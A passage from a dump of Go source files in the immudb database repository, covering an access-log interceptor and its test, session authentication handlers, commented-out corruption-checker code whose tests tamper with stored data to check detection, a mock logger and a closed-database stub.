s.getLoggedInUserdataFromCtx(ctx)\n\tif err == nil {\n\t\tusername = user.Username\n\t}\n\n\tip := ipAddrFromContext(ctx)\n\n\tif rpcErr == nil {\n\t\ts.Logger.Infof(\"user=%s,ip=%s,method=%s,duration=%s\", username, ip, method, rpcDuration.String())\n\t} else {\n\t\ts.Logger.Infof(\"user=%s,ip=%s,method=%s,duration=%s,error=%s\", username, ip, method, rpcDuration.String(), rpcErr)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/server/access_log_interceptor_test.go",
    "content": "package server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/peer\"\n)\n\nfunc TestAccessLogInterceptors(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithLogAccess(true).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(opts).(*ImmuServer)\n\tdefer s.CloseDatabases()\n\n\tlogger := &mockLogger{captureLogs: true}\n\ts.WithLogger(logger)\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tctx := peer.NewContext(context.Background(), &peer.Peer{Addr: &net.IPAddr{IP: net.IPv4(192, 168, 1, 1)}})\n\n\tt.Run(\"unary interceptor\", func(t *testing.T) {\n\t\tcalled := false\n\t\t_, err := s.AccessLogInterceptor(ctx, nil, &grpc.UnaryServerInfo{FullMethod: \"testMethod\"}, func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\t\tcalled = true\n\t\t\treturn nil, nil\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\trequire.True(t, called)\n\t\trequire.NotEmpty(t, logger.logs)\n\n\t\tlastLine := logger.logs[len(logger.logs)-1]\n\t\trequire.Contains(t, lastLine, \"ip=192.168.1.1\")\n\t\trequire.Contains(t, lastLine, \"user=,\")\n\t\trequire.Contains(t, lastLine, \"method=testMethod\")\n\t\trequire.NotContains(t, lastLine, \"error=\")\n\t})\n\n\tt.Run(\"streaming interceptor\", func(t *testing.T) {\n\t\tcalled := false\n\t\terr := s.AccessLogStreamInterceptor(nil, &mockServerStream{ctx: ctx}, &grpc.StreamServerInfo{FullMethod: \"testMethod\"}, func(srv interface{}, stream grpc.ServerStream) error {\n\t\t\tcalled = true\n\t\t\treturn fmt.Errorf(\"test error\")\n\t\t})\n\t\trequire.Error(t, err)\n\n\t\trequire.True(t, called)\n\t\trequire.NotEmpty(t, logger.logs)\n\n\t\tlastLine := logger.logs[len(logger.logs)-1]\n\t\trequire.Contains(t, lastLine, \"ip=192.168.1.1\")\n\t\trequire.Contains(t, lastLine, \"user=,\")\n\t\trequire.Contains(t, lastLine, \"method=testMethod\")\n\t\trequire.Contains(t, lastLine, \"error=test error\")\n\t})\n}\n"
  },
  {
    "path": "pkg/server/authorization_operations.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"math\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nconst infinity = time.Duration(math.MaxInt64)\n\ntype authenticationServiceImp struct {\n\tserver *ImmuServer\n}\n\nfunc (s *authenticationServiceImp) OpenSession(ctx context.Context, loginReq *protomodel.OpenSessionRequest) (*protomodel.OpenSessionResponse, error) {\n\tsession, err := s.server.OpenSession(ctx, &schema.OpenSessionRequest{\n\t\tUsername:     []byte(loginReq.Username),\n\t\tPassword:     []byte(loginReq.Password),\n\t\tDatabaseName: loginReq.Database,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\texpirationTimestamp := int32(0)\n\tinactivityTimestamp := int32(0)\n\tnow := time.Now()\n\n\tif s.server.Options.SessionsOptions.MaxSessionInactivityTime > 0 {\n\t\tinactivityTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionInactivityTime).Unix())\n\t}\n\n\tif s.server.Options.SessionsOptions.MaxSessionAgeTime > 0 && s.server.Options.SessionsOptions.MaxSessionAgeTime != infinity {\n\t\texpirationTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionAgeTime).Unix())\n\t}\n\n\treturn &protomodel.OpenSessionResponse{\n\t\tSessionID:           session.SessionID,\n\t\tServerUUID:          session.ServerUUID,\n\t\tExpirationTimestamp: expirationTimestamp,\n\t\tInactivityTimestamp: inactivityTimestamp,\n\t}, nil\n}\n\nfunc (s *authenticationServiceImp) KeepAlive(ctx context.Context, _ *protomodel.KeepAliveRequest) (*protomodel.KeepAliveResponse, error) {\n\t_, err := s.server.KeepAlive(ctx, &emptypb.Empty{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.KeepAliveResponse{}, nil\n}\n\nfunc (s *authenticationServiceImp) CloseSession(ctx context.Context, _ *protomodel.CloseSessionRequest) (*protomodel.CloseSessionResponse, error) {\n\t_, err := s.server.CloseSession(ctx, &emptypb.Empty{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.CloseSessionResponse{}, nil\n}\n"
  },
  {
    "path": "pkg/server/corruption_checker.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\n/*\n\n// ErrConsistencyFail happens when a consistency check fails. Check the log to retrieve details on which element is failing\nconst ErrConsistencyFail = \"consistency check fail at index %d\"\n\ntype CCOptions struct {\n\tsingleiteration    bool\n\titerationSleepTime time.Duration\n\tfrequencySleepTime time.Duration\n}\n\ntype corruptionChecker struct {\n\toptions        CCOptions\n\tdbList         DatabaseList\n\tLogger         logger.Logger\n\texit           bool\n\tmuxit          sync.Mutex\n\tTrusted        bool\n\tmux            sync.Mutex\n\tcurrentDbIndex int\n\trg             RandomGenerator\n}\n\n// CorruptionChecker corruption checker interface\ntype CorruptionChecker interface {\n\tStart(context.Context) (err error)\n\tStop()\n\tGetStatus() bool\n}\n\n// NewCorruptionChecker returns new trust checker service\nfunc NewCorruptionChecker(opt CCOptions, d DatabaseList, l logger.Logger, rg RandomGenerator) CorruptionChecker {\n\treturn &corruptionChecker{\n\t\toptions:        opt,\n\t\tdbList:         d,\n\t\tLogger:         l,\n\t\texit:           false,\n\t\tTrusted:        true,\n\t\tcurrentDbIndex: 0,\n\t\trg:             rg,\n\t}\n}\n\n// Start start the trust checker loop\nfunc (s *corruptionChecker) Start(ctx context.Context) (err error) {\n\ts.Logger.Debugf(\"Start scanning ...\")\n\n\tfor {\n\t\ts.mux.Lock()\n\t\terr = s.checkLevel0(ctx)\n\t\ts.mux.Unlock()\n\n\t\tif err != nil || s.isTerminated() || s.options.singleiteration {\n\t\t\treturn err\n\t\t}\n\n\t\ttime.Sleep(s.options.iterationSleepTime)\n\t}\n}\n\nfunc (s *corruptionChecker) isTerminated() bool {\n\ts.muxit.Lock()\n\tdefer s.muxit.Unlock()\n\treturn s.exit\n}\n\n// Stop stop the trust checker loop\nfunc (s *corruptionChecker) Stop() {\n\ts.muxit.Lock()\n\ts.exit = true\n\ts.muxit.Unlock()\n\ts.Logger.Infof(\"Waiting for consistency checker to shut down\")\n\ts.mux.Lock()\n}\n\nfunc (s *corruptionChecker) checkLevel0(ctx context.Context) (err error) {\n\tif s.currentDbIndex == s.dbList.Length() {\n\t\ts.currentDbIndex = 0\n\t}\n\tdb := s.dbList.GetByIndex(int64(s.currentDbIndex))\n\ts.currentDbIndex++\n\tvar r *schema.Root\n\ts.Logger.Debugf(\"Retrieving a fresh root ...\")\n\tif r, err = db.CurrentRoot(); err != nil {\n\t\ts.Logger.Errorf(\"Error retrieving root: %s\", err)\n\t\treturn\n\t}\n\tif r.GetRoot() == nil {\n\t\ts.Logger.Debugf(\"Immudb is empty ...\")\n\t} else {\n\t\t// create a shuffle range with all indexes presents in immudb\n\t\tids := s.rg.getList(0, r.GetIndex())\n\t\ts.Logger.Debugf(\"Start scanning %d elements\", len(ids))\n\t\tfor _, id := range ids {\n\t\t\tif s.isTerminated() {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tvar item *schema.VerifiedTx\n\t\t\tif item, err = db.BySafeIndex(&schema.SafeIndexOptions{\n\t\t\t\tIndex: id,\n\t\t\t\tRootIndex: &schema.Index{\n\t\t\t\t\tIndex: r.GetIndex(),\n\t\t\t\t},\n\t\t\t}); err != nil {\n\t\t\t\tif err == store.ErrInconsistentDigest {\n\t\t\t\t\tauth.IsTampered = true\n\t\t\t\t\ts.Logger.Errorf(\"insertion order index %d was tampered\", id)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\ts.Logger.Errorf(\"Error retrieving element at index %d: %s\", id, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t//verified := item.Proof.Verify(item.Item.Value, *r)\n\t\t\tverified := item != nil\n\t\t\ts.Logger.Debugf(\"Item index %d, verified %t\", item.Tx.Metadata.Id, verified)\n\t\t\tif !verified {\n\t\t\t\ts.Trusted = false\n\t\t\t\tauth.IsTampered = true\n\t\t\t\ts.Logger.Errorf(ErrConsistencyFail, item.Tx.Metadata.Id)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttime.Sleep(s.options.frequencySleepTime)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// GetStatus return status of the trust checker. False means that a consistency checks was failed\nfunc (s *corruptionChecker) GetStatus() bool {\n\treturn s.Trusted\n}\n\n*/\n\n/*\ntype cryptoRandSource struct{}\n\nfunc newCryptoRandSource() cryptoRandSource {\n\treturn cryptoRandSource{}\n}\n\nfunc (cryptoRandSource) Int63() int64 {\n\tvar b [8]byte\n\t_, _ = rand.Read(b[:])\n\treturn int64(binary.LittleEndian.Uint64(b[:]) & (1<<63 - 1))\n}\n\nfunc (cryptoRandSource) Seed(_ int64) {}\n*/\n\n/*\ntype randomGenerator struct{}\n\ntype RandomGenerator interface {\n\tgetList(uint64, uint64) []uint64\n}\n\nfunc (rg randomGenerator) getList(start, end uint64) []uint64 {\n\tids := make([]uint64, end-start+1)\n\tvar i uint64\n\tfor i = start; i <= end; i++ {\n\t\tids[i] = i\n\t}\n\trn := mrand.New(newCryptoRandSource())\n\t// shuffle indexes\n\trn.Shuffle(len(ids), func(i, j int) { ids[i], ids[j] = ids[j], ids[i] })\n\treturn ids\n}\n*/\n"
  },
  {
    "path": "pkg/server/corruption_checker_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport \"fmt\"\n\n/*\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n)\n\n\nfunc makeDb() (database.DB, func()) {\n\tdbName := \"EdithPiaf\" + strconv.FormatInt(time.Now().UnixNano(), 10)\n\toptions := database.DefaultOption().WithDbName(dbName).WithInMemoryStore(true).WithCorruptionChecker(false)\n\tdb, err := database.NewDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\tif err != nil {\n\t\tlog.Fatalf(\"Error creating Db instance %s\", err)\n\t}\n\n\treturn db, func() {\n\t\tif err := db.Close(); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tif err := os.RemoveAll(options.GetDbName()); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n\nfunc TestEmptyDBCorruptionChecker(t *testing.T) {\n\n\tvar err error\n\tdbList := NewDatabaseList()\n\tdb, _ := makeDb()\n\tdbList.Append(db)\n\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\n\terr = cc.Start(context.Background())\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.NoError(t, err)\n}\n\nfunc TestCorruptionChecker(t *testing.T) {\n\tvar err error\n\tdbList := NewDatabaseList()\n\tdb, _ := makeDb()\n\tkv := &schema.KeyValue{\n\t\tKey:   []byte(strconv.FormatUint(1, 10)),\n\t\tValue: []byte(strconv.FormatUint(2, 10)),\n\t}\n\tdb.Set(kv)\n\tdbList.Append(db)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\n\terr = cc.Start(context.Background())\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.NoError(t, err)\n}\n\nfunc TestCorruptionCheckerOnTamperInsertionOrderIndexDb(t *testing.T) {\n\tvar err error\n\tdefer os.RemoveAll(\"test\")\n\tdbList := NewDatabaseList()\n\toptions := database.DefaultOption().WithDbName(\"test\").WithDbRootPath(\"test\")\n\tdb, err := database.NewDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tk := []byte(strconv.FormatUint(1, 10))\n\tv := []byte(strconv.FormatUint(2, 10))\n\tkv := &schema.KeyValue{\n\t\tKey:   k,\n\t\tValue: v,\n\t}\n\tif _, err = db.Set(kv); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdb.Close()\n\t// Tampering\n\topts := badger.DefaultOptions(\"test/test\").WithLogger(nil)\n\tdbb, err := badger.OpenManaged(opts)\n\trequire.NoError(t, err)\n\n\ttxn := dbb.NewTransactionAt(math.MaxUint64, true)\n\tdefer txn.Discard()\n\titem, err := txn.Get(k)\n\trequire.NoError(t, err)\n\n\tvalue, err := item.ValueCopy(nil)\n\trequire.NoError(t, err)\n\n\tts := binary.BigEndian.Uint64(value[:8])\n\tv1 := append(value[:8], []byte(strconv.FormatUint(3, 10))...)\n\tif err := txn.Set(k, v1); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := txn.CommitAt(ts, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdbb.Close()\n\t// End Tampering\n\tdb1, err := database.OpenDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\tassert.NoError(t, err)\n\tdbList.Append(db1)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\n\terr = cc.Start(context.Background())\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.Error(t, err)\n}\n\nfunc TestCorruptionCheckerOnTamperDbInconsistentState(t *testing.T) {\n\tvar err error\n\tdefer os.RemoveAll(\"test\")\n\tdbList := NewDatabaseList()\n\toptions := database.DefaultOption().WithDbName(\"test\").WithDbRootPath(\"test\")\n\tdb, err := database.NewDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tk := []byte(strconv.FormatUint(1, 10))\n\tv := []byte(strconv.FormatUint(2, 10))\n\tkv := &schema.KeyValue{\n\t\tKey:   k,\n\t\tValue: v,\n\t}\n\tif _, err = db.Set(kv); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdb.Close()\n\t// Tampering\n\topts := badger.DefaultOptions(\"test/test\").WithLogger(nil)\n\tdbb, err := badger.OpenManaged(opts)\n\trequire.NoError(t, err)\n\n\ttxn := dbb.NewTransactionAt(math.MaxUint64, true)\n\tdefer txn.Discard()\n\n\titem, err := txn.Get(treeKey(0, 0))\n\trequire.NoError(t, err)\n\n\tts := item.Version()\n\tv1 := []byte(strconv.FormatUint(3, 10))\n\tif err := txn.Set(item.Key(), v1); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := txn.CommitAt(ts, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdbb.Close()\n\t// End Tampering\n\tdb1, err := database.OpenDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\tassert.NoError(t, err)\n\tdbList.Append(db1)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\n\terr = cc.Start(context.Background())\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.Error(t, err)\n}\n\nfunc TestCorruptionCheckerOnTamperDb(t *testing.T) {\n\tvar err error\n\tdefer os.RemoveAll(\"test\")\n\tdbList := NewDatabaseList()\n\toptions := database.DefaultOption().WithDbName(\"test\").WithDbRootPath(\"test\")\n\tdb, err := database.NewDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tk := []byte(strconv.FormatUint(1, 10))\n\tv := []byte(strconv.FormatUint(2, 10))\n\tkv := &schema.KeyValue{\n\t\tKey:   k,\n\t\tValue: v,\n\t}\n\tif _, err = db.Set(kv); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tk1 := []byte(strconv.FormatUint(3, 10))\n\tv1 := []byte(strconv.FormatUint(4, 10))\n\tkv1 := &schema.KeyValue{\n\t\tKey:   k1,\n\t\tValue: v1,\n\t}\n\tif _, err = db.Set(kv1); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdb.Close()\n\t// Tampering\n\topts := badger.DefaultOptions(\"test/test\").WithLogger(nil)\n\tdbb, err := badger.OpenManaged(opts)\n\trequire.NoError(t, err)\n\n\ttxn := dbb.NewTransactionAt(math.MaxUint64, true)\n\tdefer txn.Discard()\n\n\titem, err := txn.Get(treeKey(0, 0))\n\trequire.NoError(t, err)\n\n\tts := item.Version()\n\tv1 = []byte(`QWERTYUIOPASDFGHJKLZXCBVBN123456fake root`)\n\tif err := txn.Set(item.Key(), v1); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := txn.CommitAt(ts, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdbb.Close()\n\t// End Tampering\n\tdb1, err := database.OpenDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\tassert.NoError(t, err)\n\tdbList.Append(db1)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGeneratorMock{})\n\n\terr = cc.Start(context.Background())\n\tassert.NoError(t, err)\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.False(t, cc.GetStatus())\n}\n\ntype randomGeneratorMock struct{}\n\nfunc (rg randomGeneratorMock) getList(start, end uint64) []uint64 {\n\tids := make([]uint64, 1)\n\tids[0] = 1\n\treturn ids\n}\n\nfunc TestCorruptionChecker_Stop(t *testing.T) {\n\tdefer os.RemoveAll(\"test\")\n\tdbList := NewDatabaseList()\n\toptions := database.DefaultOption().WithDbName(\"test\").WithDbRootPath(\"test\")\n\n\tdb1, _ := database.NewDb(options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\tdbList.Append(db1)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\n\tcc.Start(context.Background())\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tcc.Stop()\n\tassert.True(t, cc.GetStatus())\n}\n\nfunc TestCorruptionChecker_ExitImmediatly(t *testing.T) {\n\tvar err error\n\tdbList := NewDatabaseList()\n\tdb, _ := makeDb()\n\tkv := &schema.KeyValue{\n\t\tKey:   []byte(strconv.FormatUint(1, 10)),\n\t\tValue: []byte(strconv.FormatUint(2, 10)),\n\t}\n\tdb.Set(kv)\n\tdbList.Append(db)\n\n\ttime.Sleep(500 * time.Millisecond)\n\tcco := CCOptions{}\n\tcco.iterationSleepTime = 1 * time.Millisecond\n\tcco.frequencySleepTime = 1 * time.Millisecond\n\tcco.singleiteration = true\n\n\tcc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{})\n\terr = cc.Start(context.Background())\n\tcc.Stop()\n\n\tfor i := 0; i < dbList.Length(); i++ {\n\t\tval := dbList.GetByIndex(int64(i))\n\t\tval.Close()\n\t}\n\tassert.NoError(t, err)\n}\n\nfunc treeKey(layer uint8, index uint64) []byte {\n\tk := make([]byte, 1+1+8)\n\tk[0] = 0\n\tk[1] = layer\n\tbinary.BigEndian.PutUint64(k[2:], index)\n\treturn k\n}\n\nfunc TestInt63(t *testing.T) {\n\trand := newCryptoRandSource()\n\tn := rand.Int63()\n\tif n == 0 {\n\t\tt.Fatal(\"cryptorand source failed\")\n\t}\n}\n\nfunc makeDB(dir string) *badger.DB {\n\topts := badger.DefaultOptions(dir).\n\t\tWithLogger(nil)\n\n\tdb, err := badger.OpenManaged(opts)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\tos.Exit(1)\n\t}\n\treturn db\n}\n\n*/\n\ntype mockLogger struct {\n\tcaptureLogs bool\n\tlogs        []string\n}\n\nfunc (l *mockLogger) Errorf(f string, v ...interface{}) {\n\tl.log(\"ERROR\", f, v...)\n}\n\nfunc (l *mockLogger) Warningf(f string, v ...interface{}) {\n\tl.log(\"WARN\", f, v...)\n}\n\nfunc (l *mockLogger) Infof(f string, v ...interface{}) {\n\tl.log(\"INFO\", f, v...)\n}\n\nfunc (l *mockLogger) Debugf(f string, v ...interface{}) {\n\tl.log(\"DEBUG\", f, v...)\n}\n\nfunc (l *mockLogger) Close() error { return nil }\n\nfunc (l *mockLogger) log(level, f string, v ...interface{}) {\n\tif l.captureLogs {\n\t\tl.logs = append(l.logs, level+\": \"+fmt.Sprintf(f, v...))\n\t}\n}\n\n/*\nfunc TestCryptoRandSource_Seed(t *testing.T) {\n\tcs := newCryptoRandSource()\n\tcs.Seed(678)\n}\n*/\n"
  },
  {
    "path": "pkg/server/db_dummy_closed.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n)\n\n// work-around until a DBManager is in-place, taking care of all db-related stuff\ntype closedDB struct {\n\tname string\n\topts *database.Options\n}\n\nfunc (db *closedDB) GetName() string {\n\treturn db.name\n}\n\nfunc (db *closedDB) GetOptions() *database.Options {\n\treturn db.opts\n}\n\nfunc (db *closedDB) Path() string {\n\treturn filepath.Join(db.opts.GetDBRootPath(), db.GetName())\n}\n\nfunc (db *closedDB) AsReplica(asReplica, syncReplication bool, syncAcks int) {\n}\n\nfunc (db *closedDB) IsReplica() bool {\n\treturn false\n}\n\nfunc (db *closedDB) IsSyncReplicationEnabled() bool {\n\treturn false\n}\n\nfunc (db *closedDB) SetSyncReplication(enabled bool) {\n}\n\nfunc (db *closedDB) MaxResultSize() int {\n\treturn 1000\n}\n\nfunc (db *closedDB) UseTimeFunc(timeFunc store.TimeFunc) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Health() (waitingCount int, lastReleaseAt time.Time) {\n\treturn\n}\n\nfunc (db *closedDB) CurrentState() (*schema.ImmutableState, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Size() (uint64, error) {\n\treturn 0, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) TxCount() (uint64, error) {\n\treturn 0, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) CountAll(ctx context.Context) (*schema.EntryCount, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) NewSQLTx(ctx context.Context, _ *sql.TxOptions) (*sql.SQLTx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\treturn nil, nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\treturn nil, nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) 